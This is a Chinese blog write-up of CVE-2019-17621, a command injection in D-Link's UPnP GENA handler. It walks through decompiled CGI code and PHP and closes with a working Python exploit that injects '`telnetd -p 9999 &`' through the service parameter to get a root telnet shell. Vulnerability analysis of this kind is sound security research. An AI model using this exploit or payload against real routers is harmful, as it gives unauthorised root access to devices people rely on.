menu 牢记自己是菜
DLink_RCE_CVE-2019-17621
638 浏览 | 2023-07-30 | 阅读时间: 约 4 分钟 | 分类: 固件漏洞安全 | 标签:
请注意,本文编写于 283 天前,最后修改于 283 天前,其中某些信息可能已经过时。

0x1 前言

本漏洞主要原理是在UPnP协议的实现代码中存在命令注入漏洞,通过构造相应的exp实现root权限的获取。

0x2 UPnP协议

UPnP(通用即插即用)是一种网络协议,旨在使网络设备之间的连接和通信更加简单和自动化。它允许设备自动发现和配置彼此,并使它们能够共享服务和功能。

UPnP协议基于TCP/IP协议栈,并使用了一些其他的标准和协议,如UDP、HTTP、XML等。以下是UPnP协议的主要特点和功能:

  1. 自动设备发现:UPnP设备可以通过多播或单播的方式发送设备发现请求,以便在网络上发现其他UPnP设备。
  2. 描述和控制:UPnP设备使用XML格式的描述文件描述其功能和服务,使其他设备可以理解和访问。通过使用SOAP(简单对象访问协议)和HTTP协议,设备可以远程控制和管理其他设备。
  3. 服务和功能共享:UPnP设备可以共享其服务和功能,使其他设备能够访问和使用。例如,一个UPnP打印机可以共享打印服务,其他设备可以通过UPnP协议与打印机进行通信并进行打印。
  4. NAT穿透:UPnP协议还包括一些机制,以便在使用网络地址转换(NAT)的网络环境中解决连接问题。它允许设备通过自动配置和管理端口映射来建立对等连接。

UPnP协议广泛应用于家庭和小型办公网络中,如智能家居设备、网络打印机、网络存储设备等。它使设备的安装和配置更加简单,用户可以轻松地将设备添加到网络中,并享受设备间的自动交互和功能共享。

0x3 环境搭建

这里使用了qemu-system进行了环境搭建,总体流程与上几篇文章相似,完成搭建如图所示:

0x4 漏洞分析

二进制可执行文件/htdocs/cgibin中的genacgi_main()函数包含了可远程执行代码的漏洞。

根据路径和文件名,/htdocs/cgibin 二进制可执行文件可能是路由器固件中的一个CGI脚本或二进制可执行文件。CGI(通用网关接口)是一种标准协议,用于在Web服务器上执行动态脚本或程序。

在路由器固件中,/htdocs/cgibin 可能用于处理Web页面上的动态内容或执行一些功能性任务。以下是一些可能的作用:

  1. 网络配置和管理:该二进制文件可能包含用于配置和管理路由器网络设置的功能。例如,它可能处理用户在Web页面上进行的网络设置更改,并将这些更改应用到路由器的配置中。
  2. 路由和转发功能:路由器需要处理路由和数据包转发,该二进制文件可能包含相关的功能。它可能负责路由表的更新、路由算法的执行以及数据包的转发和处理。
  3. 用户身份验证和会话管理:该二进制文件可能用于处理用户身份验证和会话管理。它可能验证用户的登录凭据,并确保对受限资源的访问仅限于经过身份验证的用户。
  4. 访问控制和安全性:该二进制文件可能用于实施访问控制策略和安全性功能。它可能检查用户权限,验证访问请求,并执行相应的安全性措施,如防火墙规则和数据包过滤。
int __fastcall sub_40FCE0(const char *a1)
{
  char *v2; // $s6
  char *v3; // $s4
  char *v4; // $s1
  char *v5; // $s3
  char *v6; // $s5
  char *v7; // $s2
  int v8; // $v0
  int v9; // $a0
  int v10; // $s5
  int v11; // $v0
  char *v12; // $v0
  const char *v13; // $s1
  int v14; // $v0
  char *v15; // $v0
  char *v16; // $s4
  __pid_t v17; // $v0
  __pid_t v18; // $v0
  int v19; // $v0
  int v20; // $v1
  int v21; // $v0
  char v23[516]; // [sp+40h] [-204h] BYREF

  v2 = getenv("SERVER_ID");
  v3 = getenv("HTTP_SID");
  v4 = getenv("HTTP_CALLBACK");
  v5 = getenv("HTTP_TIMEOUT");
  v6 = getenv("HTTP_NT");
  v7 = getenv("REMOTE_ADDR");
  if ( !v7 )
    v7 = (char *)"";
  if ( !v2 )
    v2 = (char *)"";
  if ( v3 )
  {
    v9 = 400;
    if ( v4 || v6 || !v5 )
      goto LABEL_27;
    v19 = strcasecmp(v5, "Second-infinite");
    v20 = 0;
    if ( v19 )
    {
      v21 = strncasecmp(v5, "Second-", 7u);
      v9 = 400;
      if ( v21 )
        goto LABEL_27;
      v20 = atoi(v5 + 7);
    }
    snprintf(
      v23,
      0x200u,
      "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nSID=%s\nTIMEOUT=%d\nSHELL_FILE=%s/%s.sh",
      "/htdocs/upnp/run.NOTIFY.php",
      v2,
      a1,
      v3,
      v20,
      "/var/run",
      a1);
    xmldbc_ephp(0, 0, v23, stdout);
    return 0;
  }

代码中定义了一些局部变量v2、v3、v4、v5、v6、v7、v8、v9、v10、v11、v12、v13、v14、v15、v16、v17、v18、v19、v20、v21和v23。接下来的代码是对一些环境变量进行获取,如SERVER_ID、HTTP_SID、HTTP_CALLBACK、HTTP_TIMEOUT、HTTP_NT和REMOTE_ADDR。然后,代码进行一系列的条件判断和操作。如果v3存在,则进入条件判断的代码块。在条件判断的代码块中,首先判断v4、v6和v5是否存在,如果存在其中之一或v5不存在,则跳转到LABEL_27处执行。接下来,代码对v5进行字符串比较和转换操作。如果v5与"Second-infinite"不相同,则进入一个子条件判断。如果v5以"Second-"开头,则提取出数字部分并转换为整数保存到v20中。然后,代码使用snprintf函数格式化字符串,并将结果保存在v23中。最后,调用了xmldbc_ephp函数,并传递了一些参数,然后返回0。

根据伪代码的分析。sub_40FCE0函数的功能如下:

  1. 获取环境变量:函数首先通过getenv函数获取一些环境变量的值,包括SERVER_ID、HTTP_SID、HTTP_CALLBACK、HTTP_TIMEOUT、HTTP_NT和REMOTE_ADDR。
  2. 条件判断:函数进行一系列的条件判断,主要判断HTTP_SID是否存在。
  3. 字符串处理:在条件判断的代码块中,函数对HTTP_TIMEOUT进行字符串比较和转换操作,用于提取其中的数字部分并转换为整数。
  4. 格式化字符串:使用snprintf函数将一些参数格式化成一个字符串,保存在v23中。
  5. 调用函数:函数调用xmldbc_ephp函数,并传递了一些参数,包括格式化后的字符串v23,以及其他一些参数。

根据代码中的字符串和函数调用,可以推测该函数可能与HTTP订阅相关。它可能用于处理HTTP请求中的订阅相关逻辑,包括获取环境变量、解析参数、生成订阅通知的内容,然后调用xmldbc_ephp函数进行处理。

xmldbc_ephp函数将预处理的参数发送至了run.NOTIFY.php,我们紧接着分析该PHP。

<?
include "/htdocs/phplib/upnp/xnode.php";
include "/htdocs/upnpinc/gvar.php";
include "/htdocs/upnpinc/gena.php";

$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);
$gena_path = $gena_path."/".$SERVICE;
GENA_subscribe_cleanup($gena_path);

/* IGD services */
if        ($SERVICE == "L3Forwarding1")    $php = "NOTIFY.Layer3Forwarding.1.php";
else if ($SERVICE == "OSInfo1")            $php = "NOTIFY.OSInfo.1.php";
else if ($SERVICE == "WANCommonIFC1")    $php = "NOTIFY.WANCommonInterfaceConfig.1.php";
else if ($SERVICE == "WANEthLinkC1")    $php = "NOTIFY.WANEthernetLinkConfig.1.php";
else if ($SERVICE == "WANIPConn1")        $php = "NOTIFY.WANIPConnection.1.php";
/* WFA services */
else if ($SERVICE == "WFAWLANConfig1")    $php = "NOTIFY.WFAWLANConfig.1.php";


if ($METHOD == "SUBSCRIBE")
{
    if ($SID == "")
        GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID);
    else
        GENA_subscribe_sid($gena_path, $SID,  $TIMEOUT);
}
else if ($METHOD == "UNSUBSCRIBE")
{
    GENA_unsubscribe($gena_path, $SID);
}
?>

本php并没有任何问题,但是他引入了一个名为gena.php的文件,我们的漏洞存在与此文件中。在这个文件中,存在一个GENA_subscribe_new函数。

function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid)
{
    //...
    GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);
}
function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid)
{
    //...
    fwrite(w, $shell_file,
        "#!/bin/sh\n".
        'echo "[$0] ..." > '.$upnpmsg."\n".
        "xmldbc -P ".$target_php.
            " -V INF_UID=".$inf_uid.
            " -V HDR_URL=".SECURITY_prevent_shell_inject($uri).
            " -V HDR_HOST=".SECURITY_prevent_shell_inject($host).
            " -V HDR_SID=".SECURITY_prevent_shell_inject($sid).
            " -V HDR_SEQ=0".
            " | httpc -i ".$phyinf." -d ".SECURITY_prevent_shell_inject($host)." -p TCP > ".$upnpmsg."\n"
    );
    fwrite(a, $shell_file, "rm -f ".$shell_file."\n");
}

变量shell_file来自于cgibin中的SHELL_FILE=%s/%s_%d.sh %(service, PID),其中service是url中的可控参数。php在最后加了句rm指令,用来删除自身。如果将$shell_file写为用反引号包裹的系统命令(如后台开启telnetd),在脚本执行 rm 命令时因遇到 反引号而失败,继续执行引号里面的系统命令,就能出发RCE。

0x5 exp

#!/usr/bin/python3

# get shell
#     sudo python3 exp.py 

import socket
import os
from time import sleep

def httpSUB(server, port, shell_file):
    print('\n[*] Connection {host}:{port}'.format(host=server, port=port))

    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    request  = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
    request += "Host: " + str(server) + str(port) + "\n"
    request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
    request += "NT: upnp:event\n"
    request += "Timeout: Second-1800\n"
    request += "Accept-Encoding: gzip, deflate\n"
    request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
    print('[*] Sending Payload')
    sleep(1)

    con.connect((socket.gethostbyname(server), port))
    con.send(request.encode())
    results = con.recv(4096)
    print('[*] Running Telnetd Service')
    sleep(2)

    print('[*] Opening Telnet Connection\n')
    os.system('telnet ' + str(server) + ' 9999')

serverInput = "192.168.0.1"
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!